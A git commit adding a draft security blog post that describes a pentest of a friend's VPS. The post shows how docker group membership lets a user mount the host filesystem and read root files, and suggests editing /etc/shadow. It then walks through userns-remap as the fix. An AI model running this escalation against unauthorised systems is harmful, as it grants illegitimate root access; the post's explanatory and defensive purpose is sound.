Add new blog post

This commit is contained in:
Aloïs Micard 2020-08-25 11:22:38 +02:00
parent da96fe8882
commit 9b793223a0

View file

@ -0,0 +1,157 @@
+++
title = "Privilege escalation using Docker"
date = "2020-08-25"
author = "Aloïs Micard"
authorTwitter = "" #do not include @
cover = ""
tags = ["Docker", "Security"]
keywords = ["", ""]
description = ""
showFullContent = false
draft = true
+++
I have done a little pentest audit on a friend VPS last week, he was providing Docker runtime
to some people, with SSH access, and wanted to know if his setup was secure.
By default, docker only allow to run command as root user, in most case this is not desired since giving
root access equals giving full power over the host. A simple workaround is to add the user to the 'docker'
group so that the user will be able to dial with the docker socket. And that's what my friend has done. But this setup
is **not secure at ALL** by default.
Let's see how to use the docker group to gain full root access on the host.
This method is really similar to the [lxc group privilege escalation](https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation),
and that's how I've found this one.
# Privilege escalation
The only thing I had on the VPS was an un-privileged user, like the
others users.
```sh
creekorful@docker01:~$ id
uid=1001(creekorful) gid=1001(creekorful) groups=1001(creekorful),998(docker)
```
Here we can see that we are in the docker group, so we can use the docker daemon.
To gain root access one the host, one can create a docker container and mount the host disk
inside it.
This can be done with the following command:
```sh
creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim /bin/sh
#
```
Here we are asking docker to create a container using the *debian:stable-slim image*, and run the */bin/sh* command inside it.
```sh
# id
uid=0(root) gid=0(root) groups=0(root)
```
We are now root inside the container. Since Docker has SUID bit set, we were able to mount the whole host disk
inside the /mnt/root partition (*-v /:/mnt/root*).
Let's try to display */root* folder:
```sh
# ls -altr /mnt/root/root
total 56
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Mar 27 07:52 .ssh
drwx------ 2 root root 4096 Mar 27 22:43 .docker
drwxr-xr-x 3 root root 4096 Mar 27 23:07 .local
drwx------ 3 root root 4096 Jun 8 09:40 .config
-rw------- 1 root root 14924 Jul 7 07:33 .viminfo
drwx------ 6 root root 4096 Jul 7 07:33 .
-rw-r--r-- 1 root root 5253 Jul 10 10:29 .bash_history
drwxr-xr-x 18 root root 4096 Aug 23 20:14 ..
```
It works! One can now change the root password in */etc/shadow* for example
and gain full root access on the host.
# How to mitigate the exploit?
Fortunately solutions exist to prevent this exploit. I will cover the most straightforward one.
Each unix process have a /proc/self/{u,g}id_map files. These files are used to give an ID mapping,
and are inherited.
```sh
creekorful@docker01:~$ cat /proc/self/{u,g}id_map
0 0 4294967295
0 0 4294967295
```
This file tells us: uid 0 for current process is mapped to parent uid 0, and it's the same up to uid 4294967295.
What we will do mitigate the exploit is to map container uid 0 to something non-root (!= 0), fortunately this can
be done easily by using /etc/sub{g,u}id files.
```sh
creekorful@docker01:~$ cat /etc/sub{g,u}id
debian:100000:65536
creekorful:165536:65536
debian:100000:65536
creekorful:165536:65536
```
These files are used to determinate the allowed range of sub {user,group} ID allowed to use by the user.
The format is: *<user>:<sub{g,u}id>:<sub{g,u}id count>*
So what we will do is add an *dockremap* (special docker user) entry to these files, and limit the sub{g,u}id of this user.
I have asked my friend to perform the following:
Add the dockremap entry to the /etc/subuid file:
```
root@docker01:~# echo 'dockremap:100:65536' >> /etc/subuid
```
By doing this we are saying: root inside the container (0) will be mapped to uid (100) in parent process (on the host).
Now we must ask docker to create the container using the *dockremap* user.
This can be done by modifying /etc/docker/daemon.json
```json
{
"userns-remap": "default"
}
```
(Default means use dockremap user).
And finally, just restart the docker daemon to apply the changes.
# Let's try again
```sh
creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
```
As we can see we are still root inside the container. But what's for the outside?
```sh
# cat /proc/self/uid_map
0 100 65536
```
as you can see the lower uid is now 100 instead of 0. We are no more root.
Let's try to check the content of /etc/shadow:
```sh
# cat /mnt/root/etc/shadow
cat: can't open '/mnt/root/etc/shadow': Permission denied
```
the exploit is now mitigated.